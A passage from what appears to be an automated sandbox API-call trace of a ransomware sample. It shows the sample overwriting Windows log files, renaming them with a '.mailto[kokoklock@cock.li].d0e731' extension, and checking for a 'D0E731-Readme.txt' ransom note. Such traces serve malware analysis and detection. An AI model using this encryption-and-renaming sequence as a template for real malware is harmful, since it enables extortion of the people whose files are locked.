| out: Seed=0x25e3fbd4) returned 0x9302c082 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x277a1505 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x5a904c0d [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x918f5f45 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x2546a3e1 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xdd06d22d [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xa94cc2fe [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xf292e84f [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x3d772770 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x5e71d4e6 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x83c5864c [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xd3f54c3 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x31cd9fcd [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xda1f5821 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xbe183c21 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x128fb27a [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x254f745c [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xcbd43e1a [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xbdfc71e3 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x6324da8 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x246c4597 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x32545a56 [0081.484] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x194f204 [0081.485] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xb7e25412 [0081.485] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x3e09451e [0081.485] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xc596259 [0081.485] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xc4994621 [0081.485] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0xbc611d45 [0081.485] RtlRandom (in: Seed=0x25e3fbd4 | out: Seed=0x25e3fbd4) returned 0x5a31ec6d [0081.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0081.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0081.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480138 [0081.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e4a0 [0081.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e4a0) returned 1 [0081.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.497] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.497] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x25e3fbc8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25e3fbc8*=0x3000, lpOverlapped=0x0) returned 1 [0081.502] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25e3fb90 | out: lpNewFilePointer=0x0) returned 1 [0081.502] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x25e3fbc4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25e3fbc4*=0x3000, lpOverlapped=0x0) returned 1 [0081.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e108 [0081.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e130 [0081.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e130) returned 1 [0081.502] WriteFile (in: hFile=0x458, lpBuffer=0x342e108*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25e3fbc0, lpOverlapped=0x0 | out: lpBuffer=0x342e108*, lpNumberOfBytesWritten=0x25e3fbc0*=0x20, lpOverlapped=0x0) returned 1 [0081.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e108) returned 1 [0081.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0081.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0081.503] WriteFile (in: hFile=0x458, lpBuffer=0x342e478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25e3fbec, lpOverlapped=0x0 | out: lpBuffer=0x342e478*, lpNumberOfBytesWritten=0x25e3fbec*=0x8, lpOverlapped=0x0) returned 1 [0081.503] WriteFile (in: hFile=0x458, lpBuffer=0x25e3fc04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25e3fbec, lpOverlapped=0x0 | out: lpBuffer=0x25e3fc04*, lpNumberOfBytesWritten=0x25e3fbec*=0x4, lpOverlapped=0x0) returned 1 [0081.503] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25e3fbec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25e3fbec*=0x4, lpOverlapped=0x0) returned 1 [0081.503] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25e3fbec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25e3fbec*=0x6c, lpOverlapped=0x0) returned 1 [0081.503] WriteFile (in: hFile=0x458, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25e3fbec, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x25e3fbec*=0x20, lpOverlapped=0x0) returned 1 [0081.503] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25e3fbec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25e3fbec*=0x4, lpOverlapped=0x0) returned 1 [0081.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e5e0) returned 1 [0081.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e478) returned 1 [0081.503] CloseHandle (hObject=0x458) returned 1 [0081.503] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.503] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" [0081.503] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731" [0081.503] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.504] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.505] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl", dwFileAttributes=0x2020) returned 0 [0081.505] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fc88 [0081.505] wcscpy (in: _Dest=0x347fc88, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.505] wcscat (in: _Dest=0x347fc88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.505] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0081.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c390) returned 1 [0081.505] RtlExitUserThread (Status=0x1) Thread: id = 1059 os_tid = 0x1790 [0081.517] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl")) returned 0x2020 [0081.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl", dwFileAttributes=0x20) returned 1 [0081.518] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.518] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x25ebf854 | out: lpFileSize=0x25ebf854*=8192) returned 1 [0081.518] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.518] ReadFile (in: hFile=0x350, lpBuffer=0x25ebf828, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25ebf824, lpOverlapped=0x0 | out: lpBuffer=0x25ebf828*, lpNumberOfBytesRead=0x25ebf824*=0x4, lpOverlapped=0x0) returned 1 [0081.519] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.519] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.519] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.520] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e478 [0081.520] NtQuerySystemTime (in: CurrentTime=0x25ebf800 | out: CurrentTime=0x25ebf800*=132121176394122253) returned 0x0 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x70fa1909 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xb22a1c7e [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xf7f11884 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x65dca60 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xb510e705 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x8112622d [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xdeb7954d [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xc3b15e94 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x1901f52c [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x7567618a [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x1e580ab0 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xb6d4b3f0 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x9b801904 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x9469bd4b [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x5924b2e4 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x3768a7e2 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x79f98ce0 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x6587e8c4 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x472e8be1 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x4714bd85 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x315600c3 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x1c83ad7e [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x8953bbfd [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xce054f41 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x1ff4d5e8 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x83403cfa [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xcf152bc [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xe371ac4a [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xd590c245 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0xa4f8f73d [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x44664233 [0081.520] RtlRandom (in: Seed=0x25ebf80c | out: Seed=0x25ebf80c) returned 0x6ff55b05 [0081.531] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.531] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.531] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.532] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.532] ReadFile (in: hFile=0x350, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x25ebf800, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25ebf800*=0x2000, lpOverlapped=0x0) returned 1 [0081.532] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25ebf7c8 | out: lpNewFilePointer=0x0) returned 1 [0081.533] WriteFile (in: hFile=0x350, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x25ebf7fc, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25ebf7fc*=0x2000, lpOverlapped=0x0) returned 1 [0081.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e4c8 [0081.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e4c8) returned 1 [0081.533] WriteFile (in: hFile=0x350, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25ebf7f8, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x25ebf7f8*=0x20, lpOverlapped=0x0) returned 1 [0081.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.533] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.533] WriteFile (in: hFile=0x350, lpBuffer=0x342e5e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25ebf824, lpOverlapped=0x0 | out: lpBuffer=0x342e5e0*, lpNumberOfBytesWritten=0x25ebf824*=0x8, lpOverlapped=0x0) returned 1 [0081.533] WriteFile (in: hFile=0x350, lpBuffer=0x25ebf83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25ebf824, lpOverlapped=0x0 | out: lpBuffer=0x25ebf83c*, lpNumberOfBytesWritten=0x25ebf824*=0x4, lpOverlapped=0x0) returned 1 [0081.533] WriteFile (in: hFile=0x350, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25ebf824, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25ebf824*=0x4, lpOverlapped=0x0) returned 1 [0081.533] WriteFile (in: hFile=0x350, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25ebf824, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25ebf824*=0x6c, lpOverlapped=0x0) returned 1 [0081.534] WriteFile (in: hFile=0x350, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25ebf824, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x25ebf824*=0x20, lpOverlapped=0x0) returned 1 [0081.534] WriteFile (in: hFile=0x350, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25ebf824, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25ebf824*=0x4, lpOverlapped=0x0) returned 1 [0081.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e4a0) returned 1 [0081.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e5e0) returned 1 [0081.534] CloseHandle (hObject=0x350) returned 1 [0081.534] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.534] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" [0081.534] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731" [0081.534] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.535] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.535] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl", dwFileAttributes=0x2020) returned 0 [0081.535] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.535] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.535] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.535] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.535] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.536] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348b8e0) returned 1 [0081.536] RtlExitUserThread (Status=0x1) Thread: id = 1060 os_tid = 0x1794 [0081.537] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl")) returned 0x2020 [0081.537] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl", dwFileAttributes=0x20) returned 1 [0081.538] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0081.538] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x25f3fca8 | out: lpFileSize=0x25f3fca8*=8192) returned 1 [0081.538] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.538] ReadFile (in: hFile=0x350, lpBuffer=0x25f3fc7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25f3fc78, lpOverlapped=0x0 | out: lpBuffer=0x25f3fc7c*, lpNumberOfBytesRead=0x25f3fc78*=0x4, lpOverlapped=0x0) returned 1 [0081.539] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.539] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e4a0 [0081.539] NtQuerySystemTime (in: CurrentTime=0x25f3fc54 | out: CurrentTime=0x25f3fc54*=132121176394278848) returned 0x0 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x30e79490 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x13f0a73e [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xd42dd556 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x5191df13 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x3db867e [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x3ea5bbdc [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x8e097a22 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xc9597eac [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xa528fb30 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xce6344fc [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xfd4e546d [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x81fc4e52 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x8bbf8c6c [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x74e6be1a [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xca99801b [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xcae7d6c1 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x3ff0ed68 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xb4f0e01d [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xd5f1885d [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x6cf15dfd [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x6cb08ce4 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x12351881 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x2be92158 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x90ddfad [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0xde8a3d83 [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x90c899bb [0081.540] RtlRandom (in: Seed=0x25f3fc60 | out: Seed=0x25f3fc60) returned 0x3e8f4a49 [0081.540] RtlRandom (in: Seed=0x25f3fc60 